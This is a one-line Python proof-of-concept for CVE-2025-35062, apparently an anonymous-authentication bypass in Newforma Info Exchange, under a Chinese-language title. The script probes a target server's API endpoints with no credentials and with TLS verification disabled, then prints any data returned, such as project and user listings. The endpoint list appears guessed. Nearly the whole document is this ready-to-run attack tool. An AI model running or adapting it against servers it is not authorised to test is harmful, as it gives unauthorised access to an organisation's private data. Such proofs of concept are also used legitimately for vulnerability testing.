CVE-2025-35062 Newforma Info Exchange默认匿名认证漏洞

# CVE-2025-35062 PoC - Newforma Info Exchange Anonymous Authentication # This PoC demonstrates the anonymous authentication bypass vulnerability import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-nix-server:port" def check_anonymous_auth(target_url): """ Check if the Newforma Info Exchange (NIX) server allows anonymous authentication. If successful, the server is vulnerable to CVE-2025-35062. """ # Attempt to access the NIX service endpoints without providing any credentials endpoints = [ "/api/v1/info", "/api/v1/projects", "/api/v1/users", "/nix/api/auth/anonymous", "/InfoExchange/api/system/status" ] headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json" } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Attempt anonymous access without any authentication credentials response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: Anonymous access granted at {url}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 401: print(f"[-] Auth required at {url} (not vulnerable)") else: print(f"[?] Status {response.status_code} at {url}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {url}: {e}") return False if __name__ == "__main__": print(f"[*] Testing CVE-2025-35062 against {TARGET_URL}") if check_anonymous_auth(TARGET_URL): print("[!] Target is vulnerable to CVE-2025-35062") else: print("[-] Target does not appear to be vulnerable")